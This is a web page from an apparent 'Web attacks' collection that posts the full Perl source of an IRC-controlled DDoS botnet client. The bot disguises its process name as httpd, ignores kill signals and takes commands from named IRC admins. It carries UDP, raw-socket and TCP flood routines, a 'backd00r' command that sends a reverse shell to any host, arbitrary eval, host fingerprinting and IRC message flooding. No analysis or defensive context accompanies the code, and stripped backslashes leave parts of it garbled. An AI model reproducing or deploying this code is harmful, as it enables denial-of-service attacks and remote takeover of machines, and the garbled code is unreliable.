Ddos.pl

Web Attacks — ddos.pl

* Back to Web attacks

# ! /usr/ bin/ perl
use HTTP::Request;
use LWP::UserAgent;
my $processo = ‘/usr/sbin/httpd’;
my @adms = ("InTrUsIoN","zero89","^DoCtOr^");
my @canais = ("#funcky");
my $nick = ‘DDoS’;
my $ircname = ‘DDoS’;
chop( my $realname = `whoami` );
my $servidor= ‘irc.virtual-irc.org’ unless $servidor;
my $porta= ’6667′;
my $VERSAO = ‘DDoS BoT’;
$SIG{‘INT’} = ‘IGNORE’;
$SIG{‘HUP’} = ‘IGNORE’;
$SIG{‘TERM’} = ‘IGNORE’;
$SIG{‘CHLD’} = ‘IGNORE’;
$SIG{‘PS’} = ‘IGNORE’;
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor = "$ARGV[0]" if $ARGV[0];
$0 = "$processo" . "" x 16;
my $pid = fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = IO::Select->new;
$sel_cliente = IO::Select->new;

sub sendraw {
if ( $#_ == 1 ) {
my $socket = $_[0];
print $socket "$_[1]n";
}
else {
print $IRC_cur_socket "$_[0]n";
}
}

sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$servidor_con",
PeerPort => $porta_con
) or return 1;
if ( defined($IRC_socket) ) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{host} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{porta} = "$porta_con";
$irc_servers{$IRC_cur_socket}{nick} = $meunick;
$irc_servers{$IRC_cur_socket}{meuip} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname "
. $IRC_socket->sockhost
. " $servidor_con :$realname" );
sleep 1;
}
}
my $line_temp;
while (1) {
until ( %irc_servers ) {
conectar( "$nick", "$servidor", "$porta" );
}
delete( $irc_servers{”} ) if exists( $irc_servers{”} );
my @ready = $sel_cliente->can_read(0);
foreach my $fh (@ready) {
my $IRC_cur_socket = $fh;
my $meunick = $irc_servers{$IRC_cur_socket}{nick};
my $nread = sysread( $fh, $msg, 4096 );
if ( $nread == 0 ) {
$sel_cliente->remove($fh);
$fh->close;
delete( $irc_servers{$fh} );
}
my @lines = split( /n/, $msg );
foreach my $c ( 0..$#lines ) {
my $line = $lines[$c];
$line = $line_temp . $line if $line_temp;
$line_temp = ”;
$line =~ s/r$//;
unless ( $c == $#lines ) {
parse("$line");
}
elsif ( $#lines == 0 ) {
parse("$line");
}
elsif ( $lines[$c] =~ /r$/ ) {
parse("$line");
}
elsif ( $line =~ /^(S+) NOTICE AUTH :***/ ) {
parse("$line");
}
else {
$line_temp = $line;
}
}
}
}

sub tcpflooder {
my $itime = time;
my $ia=inet_aton($_[0]);
my $pa=sockaddr_in($_[1],$ia);
my $ftime=$_[2];
my $proto=getprotobyname(‘tcp’);
for (my $j=0, $l=0; $l<1000; $j++, $l++){
my $cur_time = time – $itime;
last if $cur_time >= $ftime;
my $t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j–;
}
for (my $l=0; $l<1000; $l++){
my $cur_time = time – $itime;
last if $cur_time >= $ftime;
my $t="SOCK$l";
shutdown($t,2);
}
}

sub udpflooder {
my $iaddr = inet_aton( $_[0] );
my $msg = ‘A’ x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} =
$pacotes{tcp} = 0;

socket( SOCK1, PF_INET, SOCK_RAW, 2 ) or $cp++;

socket( SOCK2, PF_INET, SOCK_DGRAM, 17 ) or $cp++;
socket( SOCK3, PF_INET, SOCK_RAW, 1 ) or $cp++;
socket( SOCK4, PF_INET, SOCK_RAW, 6 ) or $cp++;
return undef if $cp == 4;
my $itime = time;
while (1) {
for ( my $porta = 1 ; $porta <= 65000 ; $porta++ ) {
my $cur_time = time – $itime;
last if $cur_time >= $ftime;
send( SOCK1, $msg, 0, sockaddr_in( $porta, $iaddr ) )
and $pacotes{igmp}++;
send( SOCK2, $msg, 0, sockaddr_in( $porta, $iaddr ) )
and $pacotes{udp}++;
send( SOCK3, $msg, 0, sockaddr_in( $porta, $iaddr ) )
and $pacotes{icmp}++;
send( SOCK4, $msg, 0, sockaddr_in( $porta, $iaddr ) )
and $pacotes{tcp}++;

for ( my $pc = 3 ; $pc <= 255 ; $pc++ ) {
next if $pc == 6;
my $cur_time = time – $itime;
last if $cur_time >= $ftime;
socket( SOCK5, PF_INET, SOCK_RAW, $pc ) or next;
send( SOCK5, $msg, 0, sockaddr_in( $porta, $iaddr ) )
and $pacotes{o}++;
}
}
last if $cur_time >= $ftime;
}
return ( $cur_time, %pacotes );
}

sub parse {
my $servarg = shift;
if ( $servarg =~ /^PING :(.*)/ ) {
sendraw("PONG :$1");
}
elsif ( $servarg =~ /^:(.+?)!(.+?)@(.+?) PRIVMSG (.+?) :(.+)/ ) {
my $pn = $1;
my $hostmask = $3;
my $onde = $4;
my $args = $5;
if ( $args =~ /^01VERSION01$/ ) {
notice( "$pn", "01VERSION mIRC v6.16 Khaled Mardam-Bey01" );
}
if ( grep { $_ =~ /^Q$pnE$/i } @adms ) {
if ( $args =~ /^(Q$meunickE|!ddos)s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ( $arg =~ /^&(.*)/ ) {
$ondep = $onde;
bfunc( "$ondep", "$1" );
}
}
if ( $onde eq "$meunick" ) {
# shell( "$pn", "$args" );
}
if ( $args =~ /^(Q$meunickE|!ddos)s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ( $arg =~ /^!(.*)/ ) {
ircase( "$pn", "$onde", "$1" )
unless ( $natrix eq "!bot" and $arg =~ /^!nick/ );
}
else {
# shell( "$onde", "$arg" );
}
}

}
}

elsif ( $servarg =~ /^:(.+?)!(.+?)@(.+?)s+NICKs+:(S+)/i ) {
if ( lc($1) eq lc($meunick) ) {
$meunick = $4;
$irc_servers{$IRC_cur_socket}{nick} = $meunick;
}
}
elsif ( $servarg =~ /^:(.+?)s+433/i ) {
nick( "$meunick|" . int rand(999999) );
}
elsif ( $servarg =~ /^:(.+?)s+001s+(S+)s/i ) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{nick} = $meunick;
$irc_servers{$IRC_cur_socket}{nome} = "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal ddosit");
}
}
}

sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
if ( $funcarg =~ /^udpfl00ds+(.*)s+(d+)s+(d+)/ ) {
sendraw( $IRC_cur_socket,
"PRIVMSG $printl :02[UDP DDoSing]02 Attacking "
. $1
. " with "
. $2
. " Kb packets for "
. $3
. " seconds." );
my ( $dtime, %pacotes ) = udpflooder( "$1", "$2", "$3" );
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw(
$IRC_cur_socket,
"PRIVMSG $printl :02UDP]02 Sent "
. int(
(
$bytes{icmp} +
$bytes{igmp} +
$bytes{udp} +
$bytes{o}
) / 1024
)
. " Kb in "
. $dtime
. " seconds to "
. $1 . "."
);
}

if ($funcarg =~ /^tcpfl00ds+(.*)s+(d+)s+(d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :02[TCP DDoSing]02 Attacking
".$1." Porta: ".$2." Tempo: ".$3." Secondi");
my $itime = time;
my ($cur_time);
$cur_time = time – $itime;
while ($3>$cur_time){
$cur_time = time – $itime;
&tcpflooder("$1","$2","$3");
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :02[TCP DDoSing]02 Finished I
P: ".$1." Porta: ".$2." ");
}

if ( $funcarg =~ /^info$/ ) {
my $sysos = `uname -sr`;
my $uptime = `uptime`;
if ( $sysos =~ /freebsd/i ) {
$sysname = `hostname`;
$memory =
`expr `cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "` / 104857
6`;
$cpu = `grep "cpu MHz" /proc/cpuinfo`;
chomp($memory);
chomp($swap);
chomp($cpu);
}
elsif ( $sysos =~ /linux/i ) {
$sysname = `hostname -f`;
$memory = `grep "MemTotal" /proc/meminfo`;
$cpu = `grep "cpu MHz" /proc/cpuinfo`;
chomp($swap);
chomp($memory);
chomp($cpu);
}
else {
$sysname = "No Found";
$memory = "No found";
$swap = "No Found";
$cpu = "No Found";
}
$uptime =~ s/n//g;
$sysname =~ s/n//g;
$sysos =~ s/n//g;
sendraw( $IRC_cur_socket,
"PRIVMSG $printl :4.:[2Info] Server: $server :| – $porta4:."
);
sendraw( $IRC_cur_socket,
"PRIVMSG $printl :4.:[2Info] SO/Hostname:12 $sysos – $sysname4:."
);
sendraw( $IRC_cur_socket,
"PRIVMSG $printl :4.:[2Info] Process/PID:12 $processo – $$4:."
);
sendraw( $IRC_cur_socket,
"PRIVMSG $printl :4.:[2Info] Uptime:12 $uptime4:."
);
sendraw( $IRC_cur_socket,
"PRIVMSG $printl :4.:[2Info] Memory Ram:12 $memory 4:."
);
sendraw( $IRC_cur_socket,
"PRIVMSG $printl :4.:[2Info] CPU Info:12 $cpu4:."
);
}

if ( $funcarg =~ /!crediti/ ) {
sendraw( $IRC_cur_socket, "PRIVMSG $printl :02Crediti:02" );
sendraw( $IRC_cur_socket,
"PRIVMSG $printl :02ShellBot Codato Da ALiEN02" );
sendraw( $IRC_cur_socket,
"PRIVMSG $printl :02Quindi non Lo Avrà Nessuno02" );
}
exit;
}
}
}

if ($funcarg =~ /^backd00rs+(.*)s+(d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname(‘tcp’);
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);

if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :02[CoNNeCTiNG]02 $host:$porta ");
}
}

sub ircase {
my ( $kem, $printl, $case ) = @_;
if ( $case =~ /^join (.*)/ ) {
j("$1");
}
if ( $case =~ /^part (.*)/ ) {
p("$1");
}
if ( $case =~ /^rejoins+(.*)/ ) {
my $chan = $1;
if ( $chan =~ /^(d+) (.*)/ ) {
for ( my $ca = 1 ; $ca <= $1 ; $ca++ ) {
p("$2");
j("$2");
}
}
else {
p("$chan");
j("$chan");
}
}
if ( $case =~ /^op/ ) {
op( "$printl", "$kem" ) if $case eq "op";
my $oarg = substr( $case, 3 );
op( "$1", "$2" ) if ( $oarg =~ /(S+)s+(S+)/ );
}
if ( $case =~ /^deop/ ) {
deop( "$printl", "$kem" ) if $case eq "deop";
my $oarg = substr( $case, 5 );
deop( "$1", "$2" ) if ( $oarg =~ /(S+)s+(S+)/ );
}
if ( $case =~ /^msgs+(S+) (.*)/ ) {
msg( "$1", "$2" );
}
if ( $case =~ /^floods+(d+)s+(S+) (.*)/ ) {
for ( my $cf = 1 ; $cf <= $1 ; $cf++ ) {
msg( "$2", "$3" );
}
}
if ( $case =~ /^ctcps+(S+) (.*)/ ) {
ctcp( "$1", "$2" );
}
if ( $case =~ /^ctcpfloods+(d+)s+(S+) (.*)/ ) {
for ( my $cf = 1 ; $cf <= $1 ; $cf++ ) {
ctcp( "$2", "$3" );
}
}
if ( $case =~ /^nick (.*)/ ) {
nick("$1");
}
if ( $case =~ /^connects+(S+)s+(S+)/ ) {
conectar( "$2", "$1", 6667 );
}
if ( $case =~ /^raw (.*)/ ) {
sendraw("$1");
}
if ( $case =~ /^eval (.*)/ ) {
eval "$1";
}
}

sub shell {
my $printl = $_[0];
my $comando = $_[1];
if ( $comando =~ /cd (.*)/ ) {
chdir("$1") || msg( "$printl", "No souch file/directory" );
return;
}
elsif ( $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
}
}

sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :01$_[1]01");
}

sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}

sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}

sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }

sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }

sub part {
sendraw("PART $_[0]");
}

sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}

Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>